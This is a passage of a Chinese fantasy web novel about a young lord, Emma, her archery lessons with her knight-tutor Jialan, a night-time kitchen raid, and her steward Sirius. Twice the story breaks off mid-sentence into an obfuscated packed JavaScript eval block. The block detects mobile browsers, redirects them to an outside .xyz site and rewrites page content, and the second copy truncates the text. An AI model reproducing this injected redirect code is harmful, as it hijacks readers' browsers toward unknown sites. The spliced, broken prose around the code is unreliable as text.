大陆上的城市大抵如此,黄沙是主调,有水源的地方才有绿洲和城市。 艾玛的骑射课就在城市边缘。 城堡的活动空间有限,空旷的边缘地带则有现成训练设施。这块区域接近于城市驻军的兵营,这些设施也和军队有联系。 嘉兰事先联系过设施的负责人,确认好了相关事宜。有领主的权限,借到场地和马匹很容易。 在费城住下后,艾玛几乎没有来过城市边缘,平时出门基本在市中心一带。 现在在靶场边上,她隐约可以看见城市边界线上军队驻防的塔楼。 这里的黄沙让她想起遇见西里斯时的那个房间,房间的窗外就是空旷的沙漠。做那种生意的市场在城市边缘倒也合理,管理力度薄弱,人员往来也便利。 那座奴隶市场被西里斯拆了一通,也不知道现在怎么样了。 艾玛并不抱持过于乐观的估计,但拿强盗们的血洗过一次,气象或许能往好的方向发生些变化。 嘉兰从前也在这边做过训练,设施这几年没变动多少。 她带艾玛先熟悉训练场的环境,绕了一圈到马厩,和马匹们也混混脸熟。 艾玛看见棚里的马,眼睛就亮起来了。 她对骑射感兴趣,一半是话本的功劳。 故事里,骑在马背上的骑士在关键时刻远远射出一箭,定下战局的胜利,听起来神乎其神。 另一半是从前家里养的拉车的马。 买马和养马都是大花销,艾玛的父亲负担起来吃力,只买了一匹母马养着,日常大多数时候都能应付,实在应付不来再去租马。 照顾马的起居本是脏活累活,但艾玛很乐意干,养马的男仆就时常把事扔给她。 那匹母马的名字叫“金苹果”,性子温驯,和艾玛很亲近,艾玛和她感情很好。 艾玛看见马厩里的马,就想起了金苹果,一时心里柔软又怀念。 旁边的马看了看她,低下头,将额头贴上她的手。 嘉兰本来也是想看看艾玛和马之间的缘分,好选匹性情合得来的让她骑,没想到艾玛还挺受欢迎。 她只要伸出手了,看中的马都很给面子地低下头允许她摸。 嘉兰有点惊讶:“它们好像很喜欢你。” “嗯,它们都很友好。我以前也养过这样的——” 艾玛说到这里,卡住了。她想起了自己失忆的人设。 “‘以前’?”嘉兰很快抓到了重点,犹疑地皱眉。 因为近来和嘉兰相熟了,久违地摸到马又让她有点感动,放下了戒心。艾玛知道自己刚才说错话了。 她在原地僵硬了两三秒,抬起双臂,抱住头。 “呜。” 艾玛抱着脑袋,尽力了,但毫无演技,“头好痛,想不起来。” 环境一时陷入了安静。 周围的马该吃草吃草,该喝水喝水,怡然自得,甚至没有一匹马打个响鼻。 艾玛心虚。 艾玛持续抱着头,看着地面,不敢动作。 嘉兰叹了口气。 她伸出手,揉了揉艾玛的头顶:“想不起来就不想了。” 艾玛当然不觉得自己撒的显而易见的谎骗过了嘉兰。嘉兰这回答的意思更像“不想说就不说了”。 艾玛慢慢放下手臂,抬起目光打量她。嘉兰笑了笑,又在她头上揉了两下才松开手。 艾玛摸了摸自己的头顶,头发被揉得有点乱。 如果不算别人帮她扎头发的时候,已经好久没有人摸她的头了。 同龄的朋友间很少做这种动作,即使有人需要安慰,艾玛也不会是被安慰的那一方。论年龄和关系距离,现在做这种动作最理所当然的人应该是西里斯。 但西里斯从不会对她做出这样的亲密动作。 他好像很看重和艾玛之间的主从关系,会委婉或直接地提醒她,仆人做出有些行为是逾距。 雪莉在私底下会和艾玛直接互称姓名,但有一次在西里斯面前嘴瓢,提到艾玛时不小心遗漏了敬称。 西里斯没说什么,就像没发现一样。 要说他重视身份阶级,艾玛倒也能相信;但要说西里斯在这些传统上真有那么刻板,艾玛其实是不信的。 要论对传统和阶级的刻板,嘉兰有话语权。 艾玛想和她成为朋友,但“朋友”是个平级的定义,以嘉兰的性格,不会当面向她承认。 但即使如此,熟悉之后,在用词语气上,嘉兰对她也会随意许多。 有时不用敬语,有时略掉敬称,今天甚至自然而然地摸了摸她的头,像普通的邻居姐姐一样。 艾玛有点开心,又有点难过。 上马得慢慢来,得先达到前置的训练要求嘉兰才放心。 但看艾玛对骑术确实有兴趣,“上马训练”这个目标倒能成为让她坚持那些枯燥练习的动力。 射术练习和剑术练习的教学模式相似,都是嘉兰给艾玛做出示范,艾玛模仿她的动作,嘉兰则帮她调整姿势、讲解要点。 初期大部分时间,艾玛都拉着空弓练习姿势并锻炼臂力。 第一次试射就力道不足,箭离靶子还有几米就掉在了地上。 艾玛深刻感觉到臂力的重要性。 嘉兰的准头很好。 她的体态挺拔,从抽箭、搭箭、瞄准到射出,动作流畅又悦目,好像她本身就是一张收放自如的弓。 看管靶场的人旁观了她们的练习,毫不掩饰对嘉兰射术的赞叹和惊讶。 射术是骑士的传统技能之一,嘉兰最早练它只是因为这算一门骑士的必修课,谈不上兴趣。 但她的性格就是决定要做的事一定得做到最好,当然也在射术练习上下过苦功。 而艾玛练了好一段时间都没能碰到靶,箭射出的距离好不容易够了,又完全偏离了靶盘。 嘉兰小时候是从练剑开始的,在剑术小有所成前甚至从没碰过弓。在学习骑射前,她早就打下了坚实的体能基础。 因此对于艾玛这样的情况也有点无奈,只能说饭要一口一口吃,学习也要一步一步来,都急不得。 好在艾玛很有耐心,练习辛苦或进步缓慢都没有抱怨,学习得很稳健。 嘉兰对她更有些刮目相看。 有时候她们也会带其他小伙伴来靶场,毕竟只有嘉兰一个老师和艾玛一个学生,她俩都不算健谈,独处久了有时有些微妙的尴尬,其他人在能活跃气氛。 但是凯来了气氛太过活跃,嘉兰又总想踢他回去。 迪尔从前也没射过箭,最接近的经历是玩弹弓。 嘉兰教他比较随意,点拨两句迪尔就懂了,第一次射箭准头有失,弓又拉得太满,箭矢直接扎穿了靶后的木墙。 迪尔去拔箭的时候看到木墙上还有很多相似的箭孔,于是放心了不用担心赔偿问题。 凯也想一展身手,但耗完了一个箭筒才三根箭上了靶子,离红心相去甚远,不服气地上蹿下跳,第二天因为过度运动双臂酸痛申请病假。 嘉兰说假可以批,不算工伤。 凯说真是从来没见过这么冷酷无情的女人。 雪莉和莫妮卡对射箭却没有多大兴趣。 雪莉虽然喜欢看嘉兰的飒爽英姿,但并没有多少自己上手的意向。她试了两支箭,都没碰到靶,就放弃了,莫妮卡更是试都没试就婉拒了。 她们没有直说,但艾玛也隐约听出了其他意思:这些都是骑士的职业技能。不能成为骑士的女性本不应该练这些“不合适”“不相称”的“多余”技能。 对一件事物喜不喜欢、有没有兴趣,本来就有个体差异,不是绝对与性别绑定的。 有像嘉兰这样喜欢剑术的女性,也有像雪莉她们那样对这些没兴趣的女性。刻板印象本来就是社会环境堆砌的相对普遍的共识,不能代表个体的情况。 况且,艾玛也不是不能理解。骑射练习的成本不是普通人家负担得起的,如果不是要走骑士这条路,也就只有贵族会去练这些作为消遣。 如果不是身份环境的转变,艾玛也不会有培养这样奢侈兴趣的机会。 嘉兰有家学渊源,艾玛则是领主,有选择很多事的自由,敢在这事上对她们指指点点的人不多。但普通女性就算仅仅对这些与传统和性别印象不符的活动有所向往,要承受的压力和议论也是巨大的。 功利地说,即使像嘉兰那样既有天赋又表现出了成果,她的努力也得不到官方认可;更多女性又可能只是有一点兴趣,但即使努力了,也未必能做得出色,还要付出不少代价,稍微想想就知道划不来。 在这个环境下,本身对此确没有兴趣或许还幸运些。 艾玛对此模糊地有了更深刻的认识。 只有她们两个人在靶场训练的时候还是更多。 嘉兰知道艾玛喜欢听故事,在场边休息时开始讲一些传闻给她听。 “我在骑兵营听骑士们攀谈的时候提起过,一位神乎其技的射手的传说。据说,那是一位半人马的女士。” 听到“半人马”,艾玛被激起了兴趣:“那种……上半身是人,下半身是马的种族吗?” 嘉兰点头:“传说是这么描述的。我也从来没见过半人马,马和人的普通混血倒是认识几位。半人马这个种族本身就有点神话色彩了 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“有这么一个故事:那位女士在旅行途中碰到一个和恋人分别的女孩。 “女孩的恋人上了战场,和她相隔极远。战事并不乐观,她很久没能收到恋人的消息,也没有信使能在那个偏远村子和前线往来。 “女士喝了那女孩一碗水,说,作为答谢,她可以替女孩送一次信。 “女孩以为她是一位过路的信使,非常感激,将信和恋人的信物一起交给了她。 “女士当场从身后抽出一支长箭,将信和信物都绑在了箭上,随手将那支箭射向空中。 “女孩惊讶又气氛,以为自己被愚弄了,但没来得及出言指责,那位半人马女士就笑着消失了。女孩向她射出箭的方向找了很久,都没能找到掉落的箭矢。 “几个月后,那女孩的恋人回到了家乡,讲述了那奇迹般的经历。 “他在战场上危在旦夕时,一支箭穿过了即将夺走他性命的敌人的胸膛。他本以为这是战友的支援,可很快发现那支箭上系着来自恋人的书信与信物。 “那支箭不仅送到了收信人面前,还救了他一命。” 这故事很有民间传说的风格,艾玛听得很投入。 嘉兰讲完,喝口水润了润喉:“据说很多人都受她帮助,在各种地方见过她。她来去无踪,流传的大抵都是这一类故事。” “不过还有一件事特别有名。 “故事传开后,那位女士旅行到一座村庄,有人认出了她,当面向她挑衅射术。 “女士在箭上系了一根写着文字的绸带,向正前方射出了一箭。没人能捕捉到那支箭的轨迹,有人当场对那位女士提出诸多质疑,她一笑而过,射出箭后就离开了。 “人们将这事抛在了脑后,直到一天后,在女士射出箭的场所附近,人们发现有一支箭扎在树上,正是昨天那支系着特殊绸带的、独一无二的箭。 “有心人一回想,才骇然发现,那位女士射出箭时,这棵树正在她的正后方。 “从箭的扎入角度来看,他们合理推测,半人马女士射出的箭绕了整个地星一圈,极其精准地回到了射出它的地方。 “虽然有很多更讨巧的解释,如果那支箭真的绕地星转了一圈,‘它又没长眼睛,要如何避障’这种问题尽有得讨论,不过,人们愿意相信这个传说。” “很有趣。”艾玛感慨,“那位女士好厉害。” “如果那位半人马女士真能做到这个地步,应该已经不是射术的范畴了。” 嘉兰道,“她恐怕是一位魔法师。” 艾玛想了想,点头,赞同这个意见。 魔法是无所不能的。再离奇的事件,只要有魔法的配合,就都能够得到解释。 不过,魔法本身就是奇迹的一种,又何必觉得魔法造成的奇迹就好像更加平凡呢? 艾玛拿起脖子上挂着的项链,那是西里斯最早给她的那块天然魔法石。艾玛给它串了个绳挂在身上。 她捏了捏魔法石,原本坚硬的石头却好像泥做的一样,任凭她捏来搓去地改变形状,甚至还有一点弹性。艾玛就是靠着这个方法在它上面穿了个洞挂绳子的。 她目前只能做到这样,不过,也是一种进步。 艾玛确实和魔法变得“熟悉”了一些。 艾玛收好魔法石,起身继续去进行射术训练了。 今天的目标仍然是提高箭的上靶率,撞到靶上力度不够没扎进也算成功,力道问题一时半刻毕竟解决不了。 艾玛很耐心地在一步步来。 20.连环事故 “……安排…………关于……喂……” “喂。” 嘉兰猛地合上手里的册子,硬皮的本子发出清脆地一响, “你走神了。” 西里斯凝聚了刚刚放空的目光,简单而无歉意地回应了一声:“哦,抱歉。” 嘉兰皱眉盯着他。 夜晚的城堡静悄悄的,壁灯关着,只有月光透过窗户照亮他们站立的走廊。 “你怎么,这个年纪就耳背了?” 嘉兰对于她工作汇报到一半对面就走神的态度很不爽,毫不客气地出言讥讽。 “大概吧。”西里斯说。 嘉兰磨了磨牙:“你别是现在还在走神吧?” “没有。”西里斯很平静,“我耳背。” “我记得你在艾玛大人面前听力好得很呢?” “那是因为在她面前。” 西里斯说得面不改色,理所当然。 嘉兰捏着拳头劝自己心平气和:“算了,要说的都写进报告里了,你自己看。” 西里斯接过她递来的文件,像是顺口一问:“最近体育课上得怎么样?” “我写进报告了。”嘉兰冷冷地瞪他。 “问的不是那种书面的感想。”西里斯说,“她很不错吧。” 嘉兰啧了一声:“你得意什么?” “与有荣焉。” “‘她很好’跟‘你是个混蛋’的事实没有任何冲突。” “我不否认。” 西里斯的语气轻飘飘的,目光也轻飘飘掠过手中纸张上的文字,没有在她身上做多余的停留。 他的姿态很放松,满是破绽。 嘉兰又想起那晚在宴会厅里,他明知有陷阱却仍然敢背对她的那份傲慢和从容,突然有些气闷。 报告很平常,西里斯看完跟她交流几句,就算结束了,礼节性地向她道了声晚安,转身走向走廊尽头。 嘉兰在原地停了几秒,脚步一转,向着西里斯的方向跟过去:“喂!你改天不用魔法,跟我打一场吧!” 西里斯头也没回:“我拒绝。” 嘉兰赶了几步,追到和他并肩的位置,挑衅道:“你怕了?” “我是魔法师,为什么要放着法术不用跟骑士肉搏?” 西里斯陈述事实。 “我都没说要跟你比什么,难道你除了魔法,其他战斗手段都不行?” 西里斯叹了口气。 “我说中了?”嘉兰挑眉。 “不。”西里斯说,“只是觉得跟幼稚的小孩斤斤计较会显得自己也很幼稚,但是不作回应又很吵。” 嘉兰说:“那你认真回应不就行了。” 西里斯答:“我对于现在和你的相处状态没有任何不满,也不打算让你改变对我的印象。所以,说实话,我懒得在其他方面上花更多精力应付你了。” 嘉兰倒没有恼怒:“说得真直白……我以为你是会装得更彻底的类型,没想到你意外的很坦诚。” “表面功夫很累人,我不做没必要的事。”西里斯道,“反正对你讲漂亮话还可能起反效果,你也没有更多需要我虚情假意来套取的价值,何不都省省力气呢。” 他说得几近刻薄,嘉兰却舒展眉宇,仿佛心情好了一些:“也对。” 他们经过厨房,嘉兰却突然脚步一顿,警惕重又浮现在她刚刚放松了的肢体里:“等等——” 嘉兰竖起食指示意他噤声,又侧过耳朵细细听了听:“你有没有听见什么声音?” 西里斯说:“没有,我耳背。” 嘉兰冷冷地望他一眼。 “厨房里有声音。女佣们已经下工了,门也锁着,但有人在里面。” 嘉兰肯定地做下判断。 西里斯面色如常:“大概是窗户没关上,风声大了点,或者有猫溜进来了。” “今晚风哪有那么大?” 女仆长有城堡各个房间的钥匙,嘉兰从钥匙串里拎出厨房的那把,另一只手已经按上了后腰藏着的匕首。 “你真的不用太紧……” 嘉兰碰地打开门,拔出匕首,目光凌厉,迅速地扫视厨房。 站在凳子上抱着一罐饼干、脸上沾着奶油、嘴里还叼着半个蛋糕的艾玛停止了咀嚼,茫然里有一丝惊讶,惊讶里有一丝困惑,困惑里有一丝不安。 西里斯才说完剩下的字:“……张。” 嘉兰默然,觉得握着匕首的手失去了力气。 “艾玛大人,您……”嘉兰有点不知道说什么,“您这是?” 艾玛看到都是熟人,在被抓获时一瞬的紧张之后放松下来,努力嚼嚼嚼,以先吃完嘴里的蛋糕为重。 吃完她才终于空出嘴来解释:“我突然饿了……就想来找点吃的。” “您怎么不直接跟女佣说,让她们来拿?”嘉兰收回匕首,“而且,厨房门锁着……您应该没有钥匙?” “这个时间,她们都已经休息了,我想就不麻烦别人了。”艾玛指了指厨房的一边,“那里有扇窗没锁,我从那里进来的。” 西里斯叹息一声:“唉,我本来想当做没看见的。” 嘉兰向他投去了一个质疑他教育方针的眼神。 “可能是最近运动比较多,所以特别容易饿……” 艾玛还是有一点点心虚的,为自己的行为动机增加了一些补充。 “您正在长身体的时候,食欲旺盛是好事。”西里斯走到她身边,看着为了够到高处的饼干罐子而站到椅子上的艾玛,向她伸出手,“要搭把手吗?” 艾玛摇摇头,从罐子里拿出两块饼干,认认真真地把饼干罐归位,然后动作灵活利落地从凳子上自己蹦了下来,稳稳落地,看得出最近体力训练成果显著。 西里斯帮她倒了杯水。 “您下次还是叫女佣……或者,我给您多配一把厨房的钥匙吧。”嘉兰头疼道,“您是怎么知道那里有扇窗没锁的?” 艾玛停顿一下,放下水杯,犹豫地看看嘉兰,又看看西里斯:“我告诉你们的话,你们能不生气吗?” “当然。”西里斯肯定道。 “不会。”嘉兰说。 艾玛这才放下心:“是凯告诉我的。他说他偶尔在晚上饿了的时候,会从这扇窗户翻进厨房里找吃的。” 嘉兰想了想,对西里斯道:“你可以打断他的腿,但是他在下周之前要交给我上个月的费用报销表。” “放心。”西里斯说,“我会让他明天交的。” 艾玛对于大人们当面翻脸相当震惊:“你们不是说不生气的吗?” “不会生您的气,但是没说不算他的账。”嘉兰语气缓和。 艾玛严峻地沉默一会儿,扯了扯西里斯的袖口商量:“你下手能轻一点吗?” 小主人发话了,西里斯没有不答应的理由,微笑回答:“我会的。” 嘉兰在第二天的傍晚收到了凯完成的费用表。 她不觉得西里斯真会对凯动手,那说法开玩笑的成分居多,但少不了要把他训一顿涨涨记性。 嘉兰猜想凯来找她的时候会满脸苦闷,霜打的茄子一样,但凯实际出现在她面前的时候神采奕奕,何止不是被霜打过,是一根精神饱满的茄子。 凯自信地把文件往她手里一塞,就在一边盯着她不走了,仿佛期待嘉兰看完后的感想。 嘉兰狐疑地多看他两眼,又犹豫地翻开了文件。文件内容很正常。 嘉兰说:“行,我收到了……你这什么表情?” 凯呵呵一笑,深情地说:“你有没有觉得这份表格做得特别漂亮?” “没有。”嘉兰无情地回答,“跟以前没什么区别。” “你不懂欣赏!”凯愤愤道。 嘉兰觉得他今天哪根筋恐怕搭错了:“你没事吧?西里斯对你干什么了?” “放尊重点,用敬语!”凯神色一正,按着自己胸口说,“以后西里斯先生就是我师父了!” 嘉兰沉默片刻,一手按着自己额头,一手撩起凯的刘海按在他额头上:“没发烧啊。” “我好得很!”凯气哼哼的,但是惯性使然没去挥开嘉兰的手。 嘉兰用担忧的目光盯着他:“吃坏了东西或者身体哪儿不舒服要直说,别让吉尔达阿姨担心。” 凯顺着回:“我妈才不会担心……我又没跟你开玩笑!” “好吧,”嘉兰说,“那西里斯同意你的说法吗?” “当然!”凯自信满满,“我证明给你看!” 出于对发小精神状态的担心,嘉兰顺着凯跟他走了。 西里斯这时候已经处理完了文书事物,正在一楼通向花园的侧门前,刚跟打扫的女佣谈完话。 凯隔得远远的就举起手热情而自信地招呼道:“师父好!” 西里斯看向他,言简意赅地回复:“滚。” 这下轮到嘉兰疑惑凯对西里斯做了什么了。 “只是警告了他两句,然后帮他算平了那张费用表而已。” 西里斯往办公椅里一靠,捏了捏眉心,透出刚刚完成了一堆工作一般的疲倦。 “那你下手还真是够温和的。凯说从来没见过能把账表算得这么快又这么准的人,铁了心要拜你为师。” 嘉兰露出看戏的神情。 “基本功他又不是不懂,多练练就行了,要我教什么?” “说得真轻松。” 西里斯端起茶杯,思考了片刻:“不过……出乎意料的,他在魔法上倒是有点天分。” 嘉兰一愣:“凯吗?” “对。他能看见我的‘红线’……”西里斯看她一眼,“我的魔法具象,你看不见。” 嘉兰挑了挑眉,不置可否。 没有魔法天分的人才是绝大多数。在正常的平民家庭中,孩子又不是奴隶,有没有魔法资质都不会被抛弃。 凯的父母就是特别随缘的那一类家长,没找人给他测过魔法天赋,凯自己也没多少期待,反正嘉兰和迪尔也不会魔法。 “那你要教他魔法吗,‘巫师先生’?”嘉兰嗤声。 “知道他有资质,也不代表我一定要教他。”西里斯喝了口茶,“学会魔法未必是好事。” “真稀奇,一个巫师居然这么说。” 西里斯低着目光,淡淡道:“魔法的本质是‘愿望’。愿望越清晰,越强烈,回应愿望的魔法就会越强大。个性纯粹的人在这上面很有优势。不过很遗憾,据我所知,没有一种‘愿望’所反馈的力量能够胜过‘痛苦的愿望’。 “人总是被逼到绝境,然后在绝境里爆发出前所未有的、自己都想象不到的力量……不觉得也很可悲吗?” 西里斯抬起眼睛,没带什么情绪。 但嘉兰碰到他目光的一瞬间,没来由的心悸了一下。 他移开视线,又喝了口茶:“我祝愿那小子不必失去重要的东西来交换力量。平安顺遂,不也挺好的?哪天他真的想清楚自己喜欢做什么,自己就会开悟,用不着我帮忙。” 嘉兰无言了一阵子,望向窗外,说:“凯确实很蠢……或者,像你的形容,说得好听点,他很纯粹。他的父母也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934959|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种纯粹又热心的好人。父亲出事之后,我们家受他们很多关照,葬礼都是他们帮着操持的。” “我父亲去世的时候……我很生气。他不是个好父亲。从小我需要的时候,他从不在我身边。不管别人再怎么说他功成名就,是个了不起的骑士,都改变不了这事实。 “他很少陪伴家人,有几次带着客人回来,甚至没工夫关心我和母亲。那时候我想,‘他凭什么带着客人到我的家里来,好像他是这个家的主人?’” 嘉兰说这话的时候没有表情。 “所以我在他的葬礼上没有哭,一滴眼泪都没有掉。 “大人们以为我故作坚强,但我只是觉得很愤怒。” “但是凯哭了。”她说到这里,眼神无奈地柔和了一些,“哭得稀里哗啦的……比我还不懂事的妹妹们都伤心。路过不清楚我们家情况的宾客都用一种很同情的眼光看着他,以为他才是逝者的儿子。” “你很感动?”西里斯问。 “我揍了他一顿。”嘉兰冷静地说。 “哦。” “我很生气……更加生气,甚至很烦他。我觉得没人有资格逼我为那个不称职的父亲悲伤,也不需要别人自以为是地替我悲伤。 “但是凯被打了也不躲着我,不说话,就是一边掉眼泪一边很固执地陪我,给我送各种吃的。真的挺烦的。我完全不觉得有什么好难过,但是看着他掉眼泪,反倒看得有点想哭了……觉得这人真的笨得无可救药。” 嘉兰很轻地叹了口气,“他是那种解题过程全错但答案正确的人。” “你们感情很好。”西里斯说。 “是啊,一起生活过那么久,就像家人一样。”嘉兰的眼神柔和,“凯对我来说,就好像让人放心不下的弟弟。” 西里斯模糊记起凯和嘉兰同年,生日甚至比她早两个月。 他想了想,懒得追究细节了。 “凯在某些方面上莫名其妙的固执。就像他说不想谈恋爱也不要结婚,在其他人看来很蠢,但他是认真的,认定什么事就不撞南墙不回头。 “我也没什么好的办法,这些特质未必不是优点。等他多碰几次壁,碰狠了,没准自己就想开了。” “我听明白了。”西里斯冷静地道,“你说了这么多,就是想表达,你不会帮我摆平这个麻烦,让我自己看着办。” 嘉兰微笑:“是的。” 西里斯端茶送客:“行。你可以走了。” 嘉兰牵起裙角向他行了个礼,优雅地离开了房间。 “你在这儿打什么瞌睡?” 嘉兰拿笔记本敲了敲凯的额头,把坐在树荫底下犯困的少年敲醒了:“要睡回你寝室去。” 他一惊,才意识到自己差点睡着了,抹抹嘴边的口水下意识反驳:“我才不是在这儿睡觉,我在冥想!” “冥想?”嘉兰诧异道。 这种要静气的练习跟凯半点搭不上边,从小要他坐着不动跟给他上刑似的。 凯露出高深莫测的眼神:“西里斯先生说,冥想能够提升人的修养,升华人的心灵,增强人与自然的连接,特别适合我练习。” 嘉兰不觉得冥想的效果有那么夸张,但凯能静下心做冥想是好事:“你不叫他师父了?” 凯为难地皱眉:“我倒是想,但他不让……‘师父’是不是太口语了,不够正式?还是叫‘老师’比较好?” “差不多得了,别逼他抽你。”嘉兰说。 “哎,我是真觉得相见恨晚……我之前怎么就没发现呢?”凯摇头叹息,“你看,我们的发色也很相近,一定是有缘的。” 在嘉兰看来,凯那头明亮的橙红色的毛跟西里斯那阴沉沉的暗红没半点相似。 凯的头发只是比短发稍长一些,脑后扎着个很短的小辫子,摇头晃脑像只圆滚滚的鸟雀。他笃定地说这话的样子像在陷阱里浑然不觉,吃饵料吃得正高兴的笨鸟。 嘉兰看得没脾气。 “那他就放你自己练习?” 嘉兰仍然觉得哪里不对劲,就追问了一句。 “是啊。这只是入门。”凯抱着双臂认真地点头, “西里斯先生说,冥想结束之后看看远处市中心的钟塔。等什么时候我能在钟塔塔尖上看到戴着玫瑰、穿着藤叶织成的长裙的花神殿下,就说明我的冥想小有所成,可以进入下一个阶段了。” 嘉兰失语了。 “你就这么忽悠他的?” 西里斯拎起茶杯,以免嘉兰往桌上拍的力气太大把茶水给震出来。 “怎么会是忽悠他呢。”西里斯诚恳道,“冥想对他确实有好处。而且,做账太费眼睛,让他多闭目养神,眺望远方,是在保护他的视力。” “那你骗他说能在塔尖上看到花神?” “我知道你不信神,但不必否认神的存在。” “这不是神存不存在的问题。”嘉兰咬牙,“他明年就十八岁了,你还像哄小孩一样骗他想些异想天开的……” “想象力丰富是好事。”西里斯不为所动,“顺便一提,他那性子,如果要选择信仰,我推荐日神。只是我不信仰神,替人传教有点奇怪。” 嘉兰按了按自己的额头:“他要是改天真跟你说在塔尖上看到花神了呢?” “我会确认一下他是不是睡昏了头看见的。”西里斯说,“如果不是,我会负起责任带他去看精神科医生。” 嘉兰缄默片刻,冷冷道:“我还是跟你打一架吧。” “我还有事,先走了。” 西里斯起身,平滑地离场了。 21.桑戴佩拉 西里斯大部分时间在三楼领主的办公室,或者一楼和三楼的会客室,其他时间在城堡各处不定走动。 直到近期各项事务逐渐稳定,西里斯才慢慢有了布置他自己房间的闲情。 西里斯的房间在二楼,一个较为偏僻的角落。位置是他自己选的,离其他佣人的住处都很有些距离。 房间不算大,地上铺着圆的方的花形的地毯,材质不一,地毯边角叠在一起。 角落里有一张单人床,床面整洁,看不出多少使用痕迹,一旁靠着面衣柜。 墙上钉着一层层木制的置物架,琳琅满目地放着书、盆栽、瓶瓶罐罐。 窗边有一个更正式的放满书的书架,从夹在书本间的标签能看出,它们的主人经常阅读它们,不是只放在那里做个样子。 书架前摆着桌椅,桌面除了书本文具,还有少量摆件。 摆件有石制的棋子、木质彩绘的吉祥物、玻璃的工艺品。 艾玛有时也会奇怪西里斯在桌上放这些意义不明的小东西,不像他的风格。 她戳着吉祥物的不倒翁思考这个问题,吉祥物也困惑地摇摇晃晃。 不少人喜欢在墙上挂画做装饰,不过西里斯似乎更愿意放置物架和吊篮植物替代,再不然就直接空着墙面。天花板只有一盏吊灯,形制简洁,泛着微微偏黄的光。 窗帘有两层,外面一层是较为厚重的绿色,里面靠窗的那层则很薄,正午炽热的阳光透过米色的帘子,将房间照得半亮。 西里斯的房间里原本只有一把椅子,他根本没打算在自己的房间待客。 但艾玛可以是个例外。他后来多准备了一把。 艾玛此刻就坐在那张专属的椅子上,但整个人重心都压在椅前的书桌。 她趴在桌面上,显得没精打采。 十三岁的春天来得很快,艾玛的学习清单还排着长长一串。 像是春天总象征着新事物,艾玛在这个春天里很快迎来了一个新的挑战——礼仪课。 但西里斯看她的样子就知道,这门课上得不大顺利。 艾玛趴在桌上闷闷不乐地玩他的摆件,也不出声抱怨。 课业越来越繁重,她感到的压力也越来越多。 艾玛本质是个内向的人,心情不好时喜欢安安静静地一个人待着调节,这是她缓解自己压力的方式之一。但她倒不排斥这种时候有西里斯在身边。 西里斯不会因为她心情不好就显得不自在,如果艾玛不想说,他也不会追问原因。 而且,西里斯在她身边时,别人都不会来打扰她。西里斯会帮她隔绝她不需要的干扰。 所以艾玛渐渐习惯在心情不好的时候去找他。 有时西里斯在办公室工作,她就缩在角落的椅子上发呆;有时在西里斯房间坐一会儿,西里斯看他的书,艾玛发发呆,或者也找本书看;还有两次西里斯不在,艾玛自己借用他的房间静一静。 因为没人会来西里斯的房间找他,这房间的位置也偏,比艾玛的房间还安静。 从礼仪来说,这些行为肯定不太合适。西里斯晚上时不时单独去艾玛的房间拜访其实已经算不合规矩,艾玛经常往异性仆从的房间跑当然更不合适。 但这种程度的任性在西里斯来看无所谓,他确实不那么在乎礼制,对礼仪有一套相当灵活的标准。 比如,艾玛的感受当然排在任何其他人的看法之前。她想找个喜欢的地方待着,想选哪里都可以。如果有人有意见,他们可以闭上嘴。 但西里斯从没打算要帮艾玛解决掉所有麻烦。面对困难,进行思考,尝试克服,这些都是很有价值的经历。 艾玛不是娇生惯养的脆弱个性,如果不是麻烦足够大,她不会向西里斯求助。 西里斯相信她的分寸和自觉,也认为她有足够应对和解决麻烦的能力。 所以西里斯一般不问她情绪低落的原因。既然艾玛只需要他安安静静地陪着,他就只安静地陪着,不做多余的事。 但这次好像有点不太一样。 西里斯能感觉到不同。 礼仪课刚刚上了两周,艾玛就已经往他的房间跑了三次了,每次都在上完礼仪课后没多久,大概是出于相同的原因。 她从来没有因为情绪原因这么频繁地找他过。 艾玛拨着西里斯书桌上的香薰炉。他有时会在房间里点些熏香,多是他自己配的用于安神的香料。 艾玛在时他不会点香,香料的燃烧物对人体有一定的损害,西里斯体质特殊,可以不在意,但影响到艾玛就不好了。 房间已经通过风,没有烟雾的残留。球形的香薰炉里现在是空的,随着艾玛的拨动滴溜溜打转。 “是因为桑戴佩拉女士吗?”西里斯打破了他们安静的默契,第一次主动出声询问。 艾玛指尖一顿,香薰炉转了两圈,没有驱动力,很快停住了。 她沉默了一会儿,看了看西里斯的表情,移开视线,很低很低地回了声:“嗯。” “桑戴佩拉”是艾玛的礼仪老师的姓氏。 和提都不愿意提自己姓氏的嘉兰完全相反,桑戴佩拉女士以她的姓氏为荣,甚至不愿别人称呼她的名字。 但嘉兰那样的大概才是异类。 在波克奈利王国,每一个姓氏都由王室所赐,它们的来由是各式各样载入王国史册的功绩,而只有拥有姓氏,才有王国法律保障的世袭权。 也就是说,想要成为真正的贵族,得到一个王室赐下的姓氏是必要的。 姓氏是一种荣耀,为此骄傲确实不为过。 这么说来,人们好像会觉得“仅仅有钱是不够的”,有钱不能从王室买到功绩和赐姓。但事实上,用钱买到姓氏的途径远不止一种。 桑戴佩拉女士是真正的出身贵族,世袭的第五代,也就走到了头。 桑戴佩拉家业凋敝,已经维持不住一个贵族家庭的体面。 这样的落魄贵族正是蒸蒸日上、颇有野心的富商青睐的目标。 一位前途可期的富商向彼时的桑戴佩拉小姐提出了求婚,双方各取所需,一拍即合。 结婚之后,富商便以入赘的名义得到了桑戴佩拉的姓氏,从此这个姓氏和这个姓氏的历史便归他所有——也不能说得这么难听,都成为了一家人,分享姓氏自然理所应当。 现在可以称呼那位富商为桑戴佩拉先生了。桑戴佩拉先生凭借这个姓氏的传统,在贵族的社交圈里打开了一条路。 他的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 